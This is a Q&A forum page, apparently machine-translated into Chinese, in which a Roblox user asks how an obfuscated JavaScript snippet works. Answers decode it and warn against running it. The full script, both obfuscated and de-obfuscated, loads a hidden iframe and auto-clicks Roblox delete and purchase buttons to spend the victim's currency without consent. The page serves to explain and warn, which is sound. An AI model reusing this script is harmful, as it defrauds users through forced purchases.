2013-06-05 47 views
2

我是一個遊戲Roblox的用戶,有人給我這個運行。我知道這很糟糕,因爲我通過購買Tshirt來禁用那些會花費某人錢的部分,這是代碼底部的行/*iframe[_0xebe7[20]] = whe;*/有人能告訴我這個代碼是如何工作的嗎?

變量_0x2d54如何工作?我從來沒有見過這種類型的編碼,它使我困惑,因爲我想了解它。

我不知道如何十六進制編碼的作品,但我碰到一個類似的帖子傳來:Decode this strange Javascript

var _0x2d54=["\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x72\x6F\x62\x6C\x6F\x78\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x2D\x74\x72\x61\x64\x65\x73\x2D\x69\x74\x65\x6D\x3F\x69\x64\x3D\x36\x37\x39\x32\x38\x39\x31\x38","\x69\x66\x72\x61\x6D\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x75\x72\x63\x68\x61\x73\x65\x57\x69\x74\x68\x52\x6F\x62\x75\x78\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x50\x72\x6F\x63\x65\x65\x64\x57\x69\x74\x68\x50\x75\x72\x63\x68\x61\x73\x65\x42\x75\x74\x74\x6F\x6E","\x63\x74\x6C\x30\x30\x5F\x63\x70\x68\x52\x6F\x62\x6C\x6F\x78\x5F\x62\x74\x6E\x44\x65\x6C\x65\x74\x65","\x77\x69\x64\x74\x68","\x31","\x68\x65\x69\x67\x68\x74","\x7A\x2D\x69\x6E\x64\x65\x78","\x73\x74\x79\x6C\x65","\x2D\x31","\x63\x6F\x6E\x74\x65\x6E\x74\x44\x6F\x63\x75\x6D\x65\x6E\x74","\x69\x66\x72\x61\x6D\x65\x20\x6C\x6F\x61\x64\x65\x64","\x6C\x6F\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6E\x66\x69\x72\x6D\x44\x65\x6C\x65\x74\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77","\x63\x6C\x69\x63\x6B","\x73\x72\x63","\x6F\x6E\x6C\x6F\x61\x64","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"]; 
var _0xebe7=[_0x2d54[0],_0x2d54[1],_0x2d54[2],_0x2d54[3],_0x2d54[4],_0x2d54[5],_0x2d54[6],_0x2d54[7],_0x2d54[8],_0x2d54[9],_0x2d54[10],_0x2d54[11],_0x2d54[12],_0x2d54[13],_0x2d54[14],_0x2d54[15],_0x2d54[16],_0x2d54[17],_0x2d54[18],_0x2d54[19],_0x2d54[20],_0x2d54[21],_0x2d54[22]]; 
var shirt=_0xebe7[0]; 
var iframe=document[_0xebe7[2]](_0xebe7[1]); 
var b1=_0xebe7[3]; 
var b2=_0xebe7[4]; 
var b3 =_0xebe7[5]; 
iframe[_0xebe7[6]] = _0xebe7[7]; 
iframe[_0xebe7[8]] = _0xebe7[7]; 
iframe[_0xebe7[10]][_0xebe7[9]] = _0xebe7[11]; 

function whe(){ 
    var _0x9b91x8 = iframe[_0xebe7[12]]; 
    console[_0xebe7[14]](_0xebe7[13]); 
    if (_0x9b91x8[_0xebe7[15]](b3)){ 
     iframe[_0xebe7[17]][_0xebe7[16]] = (function(){ 
      return function(){ 
       return true; 
      } 
     ;} 
     )(); 
     iframe[_0xebe7[12]][_0xebe7[15]](b3)[_0xebe7[18]](); 
    } else { 
     if(_0x9b91x8[_0xebe7[15]](b2)){ 
      iframe[_0xebe7[12]][_0xebe7[15]](b2)[_0xebe7[18]](); 
     } else { 
      if(_0x9b91x8[_0xebe7[15]](b1)){ 
       iframe[_0xebe7[12]][_0xebe7[15]](b1)[_0xebe7[18]](); 
      } 
     } 
    } 
} 
iframe[_0xebe7[19] ]= shirt; 
/*iframe[_0xebe7[20]] = whe;*/ 
document[_0xebe7[22]][_0xebe7[21]](iframe); 
+0

這只是一個數組。 –

+4

它的模糊處理可以通過'console.log(_0xebe7)'來查看變量的所有值。爲了獲得這些值並提高可讀性,你可以使用http://jsbeautifier.org –

+0

哪一部分你不明白?十六進制轉義? – SLaks

回答

3

你必須努力去理解這段代碼。開發人員故意難以理解。

他們混淆了代碼,以減緩其他複製它的人。

您可以從更改變量並運行代碼開始,查看哪些更改。這會給你提示該特定變量的作用。但是有很多變數。

編輯:其實我回來了。嘗試儘可能多地理解代碼,您可以先運行而不運行。正如馬修在下面指出的那樣,它可能是惡意軟件。然後,一旦你有了一個更好的主意,仔細捅一下。

+1

瞭解它'你可以從改變變量和運行代碼開始,看看有什麼變化。「我強烈建議沒有人運行這個代碼。特別是如果他們有一個roblox.com帳戶。 – cgTag

+0

同意100%@MathewFoscarini。這個角度甚至沒有出現在我身上。 – John

+0

@MathewFoscarini:在隱身窗口中運行它應該相當安全。 – SLaks

0

我的評論可能會被刪除,因爲這不是評論的答案。

它的混淆你可以console.log(_0xebe7)看到變量的所有值。要獲得這些值並提高可讀性,您可以使用http://jsbeautifier.org

2

它包含多個值的數組。

[ 
    "http://www.roblox.com/for-trades-item?id=67928918", 
    "iframe", 
    "createElement", 
    "ctl00_cphRoblox_PurchaseWithRobuxButton", 
    "ctl00_cphRoblox_ProceedWithPurchaseButton", 
    "ctl00_cphRoblox_btnDelete", 
    "width", 
    "1", 
    "height", 
    "z-index", 
    "style", 
    "-1", 
    "contentDocument", 
    "iframe loaded", 
    "log", 
    "getElementById", 
    "confirmDelete", 
    "contentWindow", 
    "click", 
    "src", 
    "onload", 
    "appendChild", 
    "body" 
] 

在我看來,這是一個討厭的腳本,你不應該運行它。

+0

+1「不要運行腳本」。我沒有想到那個角度。 – John

+0

@John yea,討厭的東西。看起來victom必須已經擁有roblox.com帳戶,但它會嘗試在您不知道的情況下在零大小的iframe中購買tshirt。幸運的是,roblox.com已經取消了該項目,不再銷售。我真的不認爲75人樂意購買這件T恤。 – cgTag

2

基本上,它將當前頁面的視圖iframe添加爲http://www.roblox.com/for-trades-item?id=67928918作爲源。然後,它會嘗試:

  1. 單擊「刪除」按鈕沒有確認
  2. 點擊「購買」按鈕
  3. 點擊「Robux」按鈕

很多瀏覽器的保護你從代碼生成這樣的點擊事件,但你仍然不應該運行它。

德混淆:

var iframe = document.createElement("iframe"); 
iframe.width = 1; 
iframe.heigth = 1; 
iframe.style.zIndex = -1; 
iframe.src = "http://www.roblox.com/for-trades-item?id=67928918"; 

function whe() { 
    var cDoc = iframe.contentDocument; 
    console.log("iframe loaded"); 

    if (cDoc.getElementById("ctl00_cphRoblox_btnDelete")) { 
    iframe.contentWindow.confirmDelete = (function() { 
     return function() { 
     return true; 
     }; 
    })(); 

    iframe.contentDocument.getElementById("ctl00_cphRoblox_btnDelete").click(); 

    } else { 
    if (cDoc.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton")) { 
     iframe.contentDocument.getElementById("ctl00_cphRoblox_ProceedWithPurchaseButton").click(); 
    } else { 
     if (cDoc.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton")) { 
     iframe.contentDocument.getElementById("ctl00_cphRoblox_PurchaseWithRobuxButton").click(); 
     } 
    } 
    } 
} 

iframe.onload = whe; 

document.body.appendChild(iframe); 
+0

是的,我知道它做了什麼,它是如何實現它,但我不知道如何閱讀代碼。 – Alex

相關問題